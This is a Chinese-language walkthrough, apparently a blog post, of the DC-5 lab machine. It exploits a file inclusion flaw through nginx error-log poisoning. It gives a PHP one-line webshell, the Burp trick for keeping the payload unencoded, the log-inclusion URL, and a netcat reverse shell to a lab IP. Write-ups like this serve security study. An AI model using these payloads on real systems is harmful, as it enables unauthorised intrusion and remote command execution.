DC-5日志写马
先尝试远程文件包含发现开启了url_include所以不行
那php://input也不行
那就尝试往日志里面写,然后包含日志文件
往日志中写个一句话木马
<?php @system($_GET['rerce']); ?>
http://192.168.253.134/thankyou.php?file=``
在进行文件包含时,发现不是路径就会将其写入到error日志里面去
查看error日志是否包含成功
http://192.168.253.134/thankyou.php?file=/var/log/nginx/error.log
由图中可以看出日志中记录了三处我们的shell,但是为啥没执行了,根据返回来的日志猜测第一处和第二处是因为当include执行时报错,服务器就把该语句转义后写入到了报错日志中,即<\?php system(\$_GET[\'rerce\']);\?>
,所以当我们包含日志文件时,include看到这里是转义的语句,就当成文本输出出来了,所以就不会执行。
最下面一处没执行的原因也很清楚,就是我们在发送请求时给我们url编码了,报错时日志想要写入请求信息,而请求就是这样一个样子,所以在日志里面就是这样原封不动的样子
通过burp抓包也可以很清楚的看到给我们url编码了
解决办法
前两出给我们转义了,没办法
只能通过最后一处
我们可以抓包然后改成url编码前的样子再发送过去
这样在日志文件里面就是这样一个样子,且没有被转义
/thankyou.php?file=<?php @system($_GET['rerce']); ?>
那就好办了,直接包含错误日志
file=后面为空说明执行了
1.抓包修改
发送后此时一句话木马已经在错误日志里面了,两个转义的不能用,一个没转义可以用。那就包含日志文件
http://192.168.253.134/thankyou.php?file=/var/log/nginx/error.log
可以看到payload没了,说明执行了
反弹个shell吧
首先本地监听2000端口
nc -lnvp 2000
然后
http://192.168.253.134/thankyou.php?file=/var/log/nginx/error.log&rerce=nc -e /bin/bash 192.168.253.131 2000
成功
https://blog.csdn.net/rpsate/article/details/119769130?spm=1001.2014.3001.5501